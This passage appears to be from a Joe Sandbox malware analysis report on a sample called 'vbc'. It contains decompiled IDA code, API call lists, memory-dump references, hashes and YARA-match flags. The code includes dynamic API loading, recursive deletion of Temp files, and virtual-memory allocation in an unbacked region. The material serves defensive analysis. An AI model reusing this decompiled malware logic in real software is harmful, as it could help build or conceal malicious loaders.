								 *(_t332 + 0x1010) = _t283;
								 *(_t332 + 0x1014) = _t283;
							}
							_t287 = _v36;
							_t47 = _t332 + 8; // 0x8
							_t217 = _t47;
							_t48 = _t332 + 0x808; // 0x808
							_t322 = _t48;
							 *_t332 = _t287;
							_t288 = _t287 - _t283;
							__eflags = _t288;
							 *_t217 = _t283;
							 *_t322 = _t283;
							 *(_t332 + 0x1008) = _t283;
							 *(_t332 + 0x100c) = _t283;
							 *(_t332 + 4) = _t283;
							if(_t288 == 0) {
								__eflags = _v28 - _v24;
								if(_v28 == _v24) {
									goto L42;
								}
								_t328 = 0;
								GlobalFree(_t332);
								_t332 = E732813B1(_v24);
								__eflags = _t332 - _t283;
								if(_t332 == _t283) {
									goto L42;
								} else {
									goto L35;
								}
								while(1) {
									L35:
									_t249 =  *(_t332 + 0x1ca0);
									__eflags = _t249 - _t283;
									if(_t249 == _t283) {
										break;
									}
									_t328 = _t332;
									_t332 = _t249;
									__eflags = _t332 - _t283;
									if(_t332 != _t283) {
										continue;
									}
									break;
								}
								__eflags = _t328 - _t283;
								if(_t328 != _t283) {
									 *(_t328 + 0x1ca0) = _t283;
								}
								_t250 =  *(_t332 + 0x1010);
								__eflags = _t250 & 0x00000008;
								if((_t250 & 0x00000008) == 0) {
									_t251 = _t250 | 0x00000002;
									__eflags = _t251;
									 *(_t332 + 0x1010) = _t251;
								} else {
									_t332 = E7328162F(_t332);
									 *(_t332 + 0x1010) =  *(_t332 + 0x1010) & 0xfffffff5;
								}
								goto L42;
							} else {
								_t300 = _t288 - 1;
								__eflags = _t300;
								if(_t300 == 0) {
									L31:
									lstrcpyW(_t217, _v48);
									L32:
									lstrcpyW(_t322, _v24);
									goto L42;
								}
								_t301 = _t300 - 1;
								__eflags = _t301;
								if(_t301 == 0) {
									goto L32;
								}
								__eflags = _t301 != 1;
								if(_t301 != 1) {
									goto L42;
								}
								goto L31;
							}
						} else {
							if(_t215 == 1) {
								_t257 = _v16;
								if(_v40 == _t283) {
									_t257 = _t257 - 1;
								}
								 *(_t332 + 0x1014) = _t257;
							}
							L42:
							_v12 = _v12 + 2;
							_v28 = _v24;
							L59:
							if(_v32 != 0xffffffff) {
								_t321 = _v12;
								continue;
							}
							break;
						}
					}
					_t258 = _t213 - 0x23;
					if(_t258 == 0) {
						__eflags = _t321 - _v56;
						if(_t321 <= _v56) {
							L17:
							__eflags = _v44 - _t283;
							if(_v44 != _t283) {
								L43:
								_t260 = _v32 - _t283;
								__eflags = _t260;
								if(_t260 == 0) {
									_t261 = _t286;
									while(1) {
										__eflags = _t261 - 0x22;
										if(_t261 != 0x22) {
											break;
										}
										_t321 =  &(_t321[1]);
										__eflags = _v44 - _t283;
										_v12 = _t321;
										if(_v44 == _t283) {
											_v44 = 1;
											L162:
											_v28 =  &(_v28[0]);
											 *_v28 =  *_t321;
											L58:
											_t331 =  &(_t321[1]);
											__eflags = _t331;
											_v12 = _t331;
											goto L59;
										}
										_t261 =  *_t321 & 0x0000ffff;
										_v44 = _t283;
									}
									__eflags = _t261 - 0x2a;
									if(_t261 == 0x2a) {
										_v36 = 2;
										L57:
										_t321 = _v12;
										_v28 = _v24;
										_t283 = 0;
										__eflags = 0;
										goto L58;
									}
									__eflags = _t261 - 0x2d;
									if(_t261 == 0x2d) {
										L151:
										_t304 =  *_t321;
										__eflags = _t304 - 0x2d;
										if(_t304 != 0x2d) {
											L154:
											_t264 =  &(_t321[1]);
											__eflags =  *_t264 - 0x3a;
											if( *_t264 != 0x3a) {
												goto L162;
											}
											__eflags = _t304 - 0x2d;
											if(_t304 == 0x2d) {
												goto L162;
											}
											_v36 = 1;
											L157:
											_v12 = _t264;
											__eflags = _v28 - _v24;
											if(_v28 <= _v24) {
												 *_v48 = _t283;
											} else {
												 *_v28 = _t283;
												lstrcpyW(_v48, _v24);
											}
											goto L57;
										}
										_t264 =  &(_t321[1]);
										__eflags =  *_t264 - 0x3e;
										if( *_t264 != 0x3e) {
											goto L154;
										}
										_v36 = 3;
										goto L157;
									}
									__eflags = _t261 - 0x3a;
									if(_t261 != 0x3a) {
										goto L162;
									}
									goto L151;
								}
								_t269 = _t260 - 1;
								__eflags = _t269;
								if(_t269 == 0) {
									L80:
									_t305 = _t286 + 0xffffffde;
									__eflags = _t305 - 0x55;
									if(_t305 > 0x55) {
										goto L57;
									}
									switch( *((intOrPtr*)(( *(_t305 + 0x732823e8) & 0x000000ff) * 4 +  &M7328235C))) {
										case 0:
											__ecx = _v24;
											__edi = _v12;
											while(1) {
												__edi = __edi + 1;
												__edi = __edi + 1;
												_v12 = __edi;
												__ax =  *__edi;
												__eflags = __ax - __dx;
												if(__ax != __dx) {
													goto L132;
												}
												L131:
												__eflags =  *((intOrPtr*)(__edi + 2)) - __dx;
												if( *((intOrPtr*)(__edi + 2)) != __dx) {
													L136:
													 *__ecx =  *__ecx & 0x00000000;
													__eax = E732812CC(_v24);
													__ebx = __eax;
													goto L97;
												}
												L132:
												__eflags = __ax;
												if(__ax == 0) {
													goto L136;
												}
												__eflags = __ax - __dx;
												if(__ax == __dx) {
													__edi = __edi + 1;
													__edi = __edi + 1;
													__eflags = __edi;
												}
												__ax =  *__edi;
												 *__ecx =  *__edi;
												__ecx = __ecx + 1;
												__ecx = __ecx + 1;
												__edi = __edi + 1;
												__edi = __edi + 1;
												_v12 = __edi;
												__ax =  *__edi;
												__eflags = __ax - __dx;
												if(__ax != __dx) {
													goto L132;
												}
												goto L131;
											}
										case 1:
											_v8 = 1;
											goto L57;
										case 2:
											_v8 = _v8 | 0xffffffff;
											goto L57;
										case 3:
											_v8 = _v8 & 0x00000000;
											_v20 = _v20 & 0x00000000;
											_v16 = _v16 + 1;
											goto L85;
										case 4:
											__eflags = _v20;
											if(_v20 != 0) {
												goto L57;
											}
											_v12 = _v12 - 2;
											__ebx = E732812BB();
											 &_v12 = E73281B86( &_v12);
											__eax = E73281510(__edx, __eax, __edx, __ebx);
											goto L97;
										case 5:
											L105:
											_v20 = _v20 + 1;
											goto L57;
										case 6:
											_push(7);
											goto L123;
										case 7:
											_push(0x19);
											goto L143;
										case 8:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L107;
										case 9:
											_push(0x15);
											goto L143;
										case 0xa:
											_push(0x16);
											goto L143;
										case 0xb:
											_push(0x18);
											goto L143;
										case 0xc:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L118;
										case 0xd:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L109;
										case 0xe:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L111;
										case 0xf:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L122;
										case 0x10:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L113;
										case 0x11:
											_push(3);
											goto L123;
										case 0x12:
											_push(0x17);
											L143:
											_pop(__ebx);
											goto L98;
										case 0x13:
											__eax =  &_v12;
											__eax = E73281B86( &_v12);
											__ebx = __eax;
											__ebx = __eax + 1;
											__eflags = __ebx - 0xb;
											if(__ebx < 0xb) {
												__ebx = __ebx + 0xa;
											}
											goto L97;
										case 0x14:
											__ebx = 0xffffffff;
											goto L98;
										case 0x15:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L116;
										case 0x16:
											__ecx = 0;
											__eflags = 0;
											goto L91;
										case 0x17:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L120;
										case 0x18:
											_t271 =  *(_t332 + 0x1014);
											__eflags = _t271 - _v16;
											if(_t271 > _v16) {
												_v16 = _t271;
											}
											_v8 = _v8 & 0x00000000;
											_v20 = _v20 & 0x00000000;
											_v36 - 3 = _t271 - (_v36 == 3);
											if(_t271 != _v36 == 3) {
												L85:
												_v40 = 1;
											}
											goto L57;
										case 0x19:
											L107:
											__ecx = 0;
											_v8 = 2;
											__ecx = 1;
											goto L91;
										case 0x1a:
											L118:
											_push(5);
											goto L123;
										case 0x1b:
											L109:
											__ecx = 0;
											_v8 = 3;
											__ecx = 1;
											goto L91;
										case 0x1c:
											L111:
											__ecx = 0;
											__ecx = 1;
											goto L91;
										case 0x1d:
											L122:
											_push(6);
											goto L123;
										case 0x1e:
											L113:
											_push(2);
											goto L123;
										case 0x1f:
											__eax =  &_v12;
											__eax = E73281B86( &_v12);
											__ebx = __eax;
											__ebx = __eax + 1;
											goto L97;
										case 0x20:
											L116:
											_v52 = _v52 + 1;
											_push(4);
											_pop(__ecx);
											goto L91;
										case 0x21:
											L120:
											_push(4);
											L123:
											_pop(__ecx);
											L91:
											__edi = _v16;
											__edx =  *(0x7328405c + __ecx * 4);
											__eax =  ~__eax;
											asm("sbb eax, eax");
											_v40 = 1;
											__edi = _v16 << 5;
											__eax = __eax & 0x00008000;
											__edi = (_v16 << 5) + __esi;
											__eax = __eax | __ecx;
											__eflags = _v8;
											 *(__edi + 0x1018) = __eax;
											if(_v8 < 0) {
												L93:
												__edx = 0;
												__edx = 1;
												__eflags = 1;
												L94:
												__eflags = _v8 - 1;
												 *(__edi + 0x1028) = __edx;
												if(_v8 == 1) {
													__eax =  &_v12;
													__eax = E73281B86( &_v12);
													__eax = __eax + 1;
													__eflags = __eax;
													_v8 = __eax;
												}
												__eax = _v8;
												 *((intOrPtr*)(__edi + 0x101c)) = _v8;
												_t136 = _v16 + 0x81; // 0x81
												_t136 = _t136 << 5;
												__eax = 0;
												__eflags = 0;
												 *((intOrPtr*)((_t136 << 5) + __esi)) = 0;
												 *((intOrPtr*)(__edi + 0x1030)) = 0;
												 *((intOrPtr*)(__edi + 0x102c)) = 0;
												L97:
												__eflags = __ebx;
												if(__ebx == 0) {
													goto L57;
												}
												L98:
												__eflags = _v20;
												_v40 = 1;
												if(_v20 != 0) {
													L103:
													__eflags = _v20 - 1;
													if(_v20 == 1) {
														__eax = _v16;
														__eax = _v16 << 5;
														__eflags = __eax;
														 *(__eax + __esi + 0x102c) = __ebx;
													}
													goto L105;
												}
												_v16 = _v16 << 5;
												_t144 = __esi + 0x1030; // 0x1030
												__edi = (_v16 << 5) + _t144;
												__eax =  *__edi;
												__eflags = __eax - 0xffffffff;
												if(__eax <= 0xffffffff) {
													L101:
													__eax = GlobalFree(__eax);
													L102:
													 *__edi = __ebx;
													goto L103;
												}
												__eflags = __eax - 0x19;
												if(__eax <= 0x19) {
													goto L102;
												}
												goto L101;
											}
											__eflags = __edx;
											if(__edx > 0) {
												goto L94;
											}
											goto L93;
										case 0x22:
											goto L57;
									}
								}
								_t272 = _t269 - 1;
								__eflags = _t272;
								if(_t272 == 0) {
									_v16 = _t283;
									goto L80;
								}
								__eflags = _t272 != 1;
								if(_t272 != 1) {
									goto L162;
								}
								__eflags = _t286 - 0x6e;
								if(__eflags > 0) {
									_t309 = _t286 - 0x72;
									__eflags = _t309;
									if(_t309 == 0) {
										_push(4);
										L74:
										_pop(_t274);
										L75:
										__eflags = _v8 - 1;
										if(_v8 != 1) {
											_t96 = _t332 + 0x1010;
											 *_t96 =  *(_t332 + 0x1010) &  !_t274;
											__eflags =  *_t96;
										} else {
											 *(_t332 + 0x1010) =  *(_t332 + 0x1010) | _t274;
										}
										_v8 = 1;
										goto L57;
									}
									_t312 = _t309 - 1;
									__eflags = _t312;
									if(_t312 == 0) {
										_push(0x10);
										goto L74;
									}
									__eflags = _t312 != 0;
									if(_t312 != 0) {
										goto L57;
									}
									_push(0x40);
									goto L74;
								}
								if(__eflags == 0) {
									_push(8);
									goto L74;
								}
								_t315 = _t286 - 0x21;
								__eflags = _t315;
								if(_t315 == 0) {
									_v8 =  ~_v8;
									goto L57;
								}
								_t316 = _t315 - 0x11;
								__eflags = _t316;
								if(_t316 == 0) {
									_t274 = 0x100;
									goto L75;
								}
								_t317 = _t316 - 0x31;
								__eflags = _t317;
								if(_t317 == 0) {
									_t274 = 1;
									goto L75;
								}
								__eflags = _t317 != 0;
								if(_t317 != 0) {
									goto L57;
								}
								_push(0x20);
								goto L74;
							} else {
								_v32 = _t283;
								_v36 = _t283;
								goto L20;
							}
						}
						__eflags =  *((short*)(_t321 - 2)) - 0x3a;
						if( *((short*)(_t321 - 2)) != 0x3a) {
							goto L17;
						}
						__eflags = _v32 - _t283;
						if(_v32 == _t283) {
							goto L43;
						}
						goto L17;
					}
					_t277 = _t258 - 5;
					if(_t277 == 0) {
						__eflags = _v44 - _t283;
						if(_v44 != _t283) {
							goto L43;
						} else {
							__eflags = _v36 - 3;
							_v32 = 1;
							_v8 = _t283;
							_v20 = _t283;
							_v16 = (0 | _v36 == 0x00000003) + 1;
							_v40 = _t283;
							goto L20;
						}
					}
					_t281 = _t277 - 1;
					if(_t281 == 0) {
						__eflags = _v44 - _t283;
						if(_v44 != _t283) {
							goto L43;
						} else {
							_v32 = 2;
							_v8 = _t283;
							_v20 = _t283;
							goto L20;
						}
					}
					if(_t281 != 0x16) {
						goto L43;
					} else {
						_v32 = 3;
						_v8 = 1;
						goto L20;
					}
				}
				GlobalFree(_v56);
				GlobalFree(_v24);
				GlobalFree(_v48);
				if(_t332 == _t283 ||  *(_t332 + 0x100c) != _t283) {
					L182:
					return _t332;
				} else {
					_t225 =  *_t332 - 1;
					if(_t225 == 0) {
						_t187 = _t332 + 8; // 0x8
						_t324 = _t187;
						__eflags =  *_t324 - _t283;
						if( *_t324 != _t283) {
							_t226 = GetModuleHandleW(_t324);
							__eflags = _t226 - _t283;
							 *(_t332 + 0x1008) = _t226;
							if(_t226 != _t283) {
								L171:
								_t192 = _t332 + 0x808; // 0x808
								_t325 = _t192;
								_t227 = E732816BD( *(_t332 + 0x1008), _t325);
								__eflags = _t227 - _t283;
								 *(_t332 + 0x100c) = _t227;
								if(_t227 == _t283) {
									__eflags =  *_t325 - 0x23;
									if( *_t325 == 0x23) {
										_t195 = _t332 + 0x80a; // 0x80a
										_t231 = E732813B1(_t195);
										__eflags = _t231 - _t283;
										if(_t231 != _t283) {
											__eflags = _t231 & 0xffff0000;
											if((_t231 & 0xffff0000) == 0) {
												 *(_t332 + 0x100c) = GetProcAddress( *(_t332 + 0x1008), _t231 & 0x0000ffff);
											}
										}
									}
								}
								__eflags = _v52 - _t283;
								if(_v52 != _t283) {
									L178:
									_t325[lstrlenW(_t325)] = 0x57;
									_t229 = E732816BD( *(_t332 + 0x1008), _t325);
									__eflags = _t229 - _t283;
									if(_t229 != _t283) {
										L166:
										 *(_t332 + 0x100c) = _t229;
										goto L182;
									}
									__eflags =  *(_t332 + 0x100c) - _t283;
									L180:
									if(__eflags != 0) {
										goto L182;
									}
									L181:
									_t206 = _t332 + 4;
									 *_t206 =  *(_t332 + 4) | 0xffffffff;
									__eflags =  *_t206;
									goto L182;
								} else {
									__eflags =  *(_t332 + 0x100c) - _t283;
									if( *(_t332 + 0x100c) != _t283) {
										goto L182;
									}
									goto L178;
								}
							}
							_t234 = LoadLibraryW(_t324);
							__eflags = _t234 - _t283;
							 *(_t332 + 0x1008) = _t234;
							if(_t234 == _t283) {
								goto L181;
							}
							goto L171;
						}
						_t188 = _t332 + 0x808; // 0x808
						_t236 = E732813B1(_t188);
						 *(_t332 + 0x100c) = _t236;
						__eflags = _t236 - _t283;
						goto L180;
					}
					_t237 = _t225 - 1;
					if(_t237 == 0) {
						_t185 = _t332 + 0x808; // 0x808
						_t238 = _t185;
						__eflags =  *_t238 - _t283;
						if( *_t238 == _t283) {
							goto L182;
						}
						_t229 = E732813B1(_t238);
						L165:
						goto L166;
					}
					if(_t237 != 1) {
						goto L182;
					}
					_t81 = _t332 + 8; // 0x8
					_t284 = _t81;
					_t326 = E732813B1(_t81);
					 *(_t332 + 0x1008) = _t326;
					if(_t326 == 0) {
						goto L181;
					}
					 *(_t332 + 0x104c) =  *(_t332 + 0x104c) & 0x00000000;
					 *((intOrPtr*)(_t332 + 0x1050)) = E732812CC(_t284);
					 *(_t332 + 0x103c) =  *(_t332 + 0x103c) & 0x00000000;
					 *((intOrPtr*)(_t332 + 0x1048)) = 1;
					 *((intOrPtr*)(_t332 + 0x1038)) = 1;
					_t90 = _t332 + 0x808; // 0x808
					_t229 =  *(_t326->i + E732813B1(_t90) * 4);
					goto L165;
				}
			}

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APIs

Part of subcall function 732812BB: GlobalAlloc.KERNELBASE(00000040,?,732812DB,?,7328137F,00000019,732811CA,-000000A0), ref: 732812C5

GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 73281D2D
lstrcpyW.KERNEL32(00000008,?), ref: 73281D75
lstrcpyW.KERNEL32(00000808,?), ref: 73281D7F
GlobalFree.KERNEL32(00000000), ref: 73281D92
GlobalFree.KERNEL32(?), ref: 73281E74
GlobalFree.KERNEL32(?), ref: 73281E79
GlobalFree.KERNEL32(?), ref: 73281E7E
GlobalFree.KERNEL32(00000000), ref: 73282068
lstrcpyW.KERNEL32(?,?), ref: 73282222
GetModuleHandleW.KERNEL32(00000008), ref: 732822A1
LoadLibraryW.KERNEL32(00000008), ref: 732822B2
GetProcAddress.KERNEL32(?,?), ref: 7328230C
lstrlenW.KERNEL32(00000808), ref: 73282326

Memory Dump Source

Source File: 00000004.00000002.680334815.0000000073281000.00000020.00000001.01000000.00000004.sdmp, Offset: 73280000, based on PE: true

Associated: 00000004.00000002.680330419.0000000073280000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.680339813.0000000073284000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.680344167.0000000073286000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_73280000_vbc.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: e76836966a224de07889179de3a56976589f11d59966701e1a55e8e6eee12a4e
Instruction ID: bde674b89ea2efbae24d9cf95df647bf0a9520796ee205eed234c3959f478019
Opcode Fuzzy Hash: e76836966a224de07889179de3a56976589f11d59966701e1a55e8e6eee12a4e
Instruction Fuzzy Hash: F7228971E1030ADFDB129FA4C5847EEB7B4FB08315F24852AD1A6E62C4D7B4A6C1CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00405C49 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00405C49(void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				short _v556;
				short _v558;
				struct _WIN32_FIND_DATAW _v604;
				signed int _t38;
				signed int _t52;
				signed int _t55;
				signed int _t62;
				void* _t64;
				signed char _t65;
				WCHAR* _t66;
				void* _t67;
				WCHAR* _t68;
				void* _t70;

				_t65 = _a8;
				_t68 = _a4;
				_v8 = _t65 & 0x00000004;
				_t38 = E00405F14(__eflags, _t68);
				_v12 = _t38;
				if((_t65 & 0x00000008) != 0) {
					_t62 = DeleteFileW(_t68); // executed
					asm("sbb eax, eax");
					_t64 =  ~_t62 + 1;
					 *0x434f88 =  *0x434f88 + _t64;
					return _t64;
				}
				_a4 = _t65;
				_t8 =  &_a4;
				 *_t8 = _a4 & 0x00000001;
				__eflags =  *_t8;
				if( *_t8 == 0) {
					L5:
					E0040653D(0x42f270, _t68);
					__eflags = _a4;
					if(_a4 == 0) {
						E00405E58(_t68);
					} else {
						lstrcatW(0x42f270, L"\\*.*");
					}
					__eflags =  *_t68;
					if( *_t68 != 0) {
						L10:
						lstrcatW(_t68, 0x40a014);
						L11:
						_t66 =  &(_t68[lstrlenW(_t68)]);
						_t38 = FindFirstFileW(0x42f270,  &_v604);
						_t70 = _t38;
						__eflags = _t70 - 0xffffffff;
						if(_t70 == 0xffffffff) {
							L26:
							__eflags = _a4;
							if(_a4 != 0) {
								_t30 = _t66 - 2;
								 *_t30 =  *(_t66 - 2) & 0x00000000;
								__eflags =  *_t30;
							}
							goto L28;
						} else {
							goto L12;
						}
						do {
							L12:
							__eflags = _v604.cFileName - 0x2e;
							if(_v604.cFileName != 0x2e) {
								L16:
								E0040653D(_t66,  &(_v604.cFileName));
								__eflags = _v604.dwFileAttributes & 0x00000010;
								if(__eflags == 0) {
									_t52 = E00405C01(__eflags, _t68, _v8);
									__eflags = _t52;
									if(_t52 != 0) {
										E0040559F(0xfffffff2, _t68);
									} else {
										__eflags = _v8 - _t52;
										if(_v8 == _t52) {
											 *0x434f88 =  *0x434f88 + 1;
										} else {
											E0040559F(0xfffffff1, _t68);
											E004062FD(_t67, _t68, 0);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E00405C49(__eflags, _t68, _a8);
									}
								}
								goto L24;
							}
							__eflags = _v558;
							if(_v558 == 0) {
								goto L24;
							}
							__eflags = _v558 - 0x2e;
							if(_v558 != 0x2e) {
								goto L16;
							}
							__eflags = _v556;
							if(_v556 == 0) {
								goto L24;
							}
							goto L16;
							L24:
							_t55 = FindNextFileW(_t70,  &_v604);
							__eflags = _t55;
						} while (_t55 != 0);
						_t38 = FindClose(_t70);
						goto L26;
					}
					__eflags =  *0x42f270 - 0x5c;
					if( *0x42f270 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t38;
					if(_t38 == 0) {
						L28:
						__eflags = _a4;
						if(_a4 == 0) {
							L36:
							return _t38;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t38 = E00406873(_t68);
							__eflags = _t38;
							if(_t38 == 0) {
								goto L36;
							}
							E00405E0C(_t68);
							_t38 = E00405C01(__eflags, _t68, _v8 | 0x00000001);
							__eflags = _t38;
							if(_t38 != 0) {
								return E0040559F(0xffffffe5, _t68);
							}
							__eflags = _v8;
							if(_v8 == 0) {
								goto L30;
							}
							E0040559F(0xfffffff1, _t68);
							return E004062FD(_t67, _t68, 0);
						}
						L30:
						 *0x434f88 =  *0x434f88 + 1;
						return _t38;
					}
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) == 0) {
						goto L28;
					}
					goto L5;
				}
			}

0x00405c53
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0x00000000
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0x00405dbf
0x00000000
0x00405dbf
0x00405c99
0x00405c9c
0x00000000
0x00000000
0x00000000
0x00405c9c

APIs

DeleteFileW.KERNELBASE(?,?,74EDD4C4,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405C72
lstrcatW.KERNEL32 ref: 00405CBA
lstrcatW.KERNEL32 ref: 00405CDD
lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,74EDD4C4,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405CE3
FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,74EDD4C4,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405CF3
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405D93
FindClose.KERNEL32(00000000), ref: 00405DA2

Strings

., xrefs: 00405D18
C:\Users\user\AppData\Local\Temp\, xrefs: 00405C56
\*.*, xrefs: 00405CB4
., xrefs: 00405D04

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: .$.$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-2602864334
Opcode ID: 91e5555b9508150fcf6e55f7c9d4dc2ae8152fc7335161658e002f7252bbf59f
Instruction ID: 8b2ee76931e9ba666d6dc67a471f1b560bbb00ea1adf29c264b32972d7114dcf
Opcode Fuzzy Hash: 91e5555b9508150fcf6e55f7c9d4dc2ae8152fc7335161658e002f7252bbf59f
Instruction Fuzzy Hash: 3D41A130900A14BADB216B65CC8DABF7678DF81714F14817FF841B21D1D77C4A819EAE

Uniqueness

Uniqueness Score: -1.00%

Function 036F57F0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 110
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(2D8F4F79,89ADB1F8,-C72EFA09,89ADB1FC), ref: 036F5943

Strings

5, xrefs: 036F581B

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID: 5
API String ID: 2167126740-2226203566
Opcode ID: 3ebc518d009baae5aaca5bda34bc415db8ed7ab55fbb7adec2e00e5105709bb0
Instruction ID: c3986dd9f393342738f3e32e5e1211bcb774eb85112a3a734f9fff38ac58308c
Opcode Fuzzy Hash: 3ebc518d009baae5aaca5bda34bc415db8ed7ab55fbb7adec2e00e5105709bb0
Instruction Fuzzy Hash: D041DDB56083498FDB60DF28DC91BEE7BA0AF99350F04402EDD8D9B360D7358A84CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00406873 Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406873(WCHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileW(_a4, 0x4302b8); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x4302b8;
			}

0x0040687e
0x00406887
0x00000000
0x00406894
0x0040688a
0x00000000

APIs

FindFirstFileW.KERNELBASE(74EDD4C4,004302B8,0042FA70,00405F5D,0042FA70,0042FA70,00000000,0042FA70,0042FA70,74EDD4C4,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,74EDD4C4,C:\Users\user\AppData\Local\Temp\), ref: 0040687E
FindClose.KERNEL32(00000000), ref: 0040688A

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 86d0f84efe5cb21a5e65899ed37e92679b9de560e532c409a12d624e9ae3e839
Instruction ID: 67599a3b69382adcf67454a25bfea179debcebd0a6e2e92eb77ede12202c023a
Opcode Fuzzy Hash: 86d0f84efe5cb21a5e65899ed37e92679b9de560e532c409a12d624e9ae3e839
Instruction Fuzzy Hash: C3D012325192205FC3402B386E0C84B7A989F16331726CB76B4AAF51E0D7388C7387BD

Uniqueness

Uniqueness Score: -1.00%

Function 036F575E Relevance: 1.7, APIs: 1, Instructions: 158memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(2D8F4F79,89ADB1F8,-C72EFA09,89ADB1FC), ref: 036F5943

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: a18bb03251ad47b49fdbe6f67cfa67f15f2f1cfb45d3128e6ab769d3bf34c232
Instruction ID: 8447f620a35eb2d8fe66af1516bd2a381cddfff7d34d98581d94483d2c68c6ec
Opcode Fuzzy Hash: a18bb03251ad47b49fdbe6f67cfa67f15f2f1cfb45d3128e6ab769d3bf34c232
Instruction Fuzzy Hash: B15123B16147898FEB30DE28DC947EE3BE5AF5A310F44402EDE8A8B350D3358A85CB41

Uniqueness

Uniqueness Score: -1.00%

Function 036F5783 Relevance: 1.6, APIs: 1, Instructions: 131memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(2D8F4F79,89ADB1F8,-C72EFA09,89ADB1FC), ref: 036F5943

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 9fb603fede25fb898487281d482ffd6bfc4faf2318a45113ad9fbe8bf1240638
Instruction ID: b143ad7b2ecabc9fc108ebe947da962501fa16b74a20635063cb5eb13ca269ef
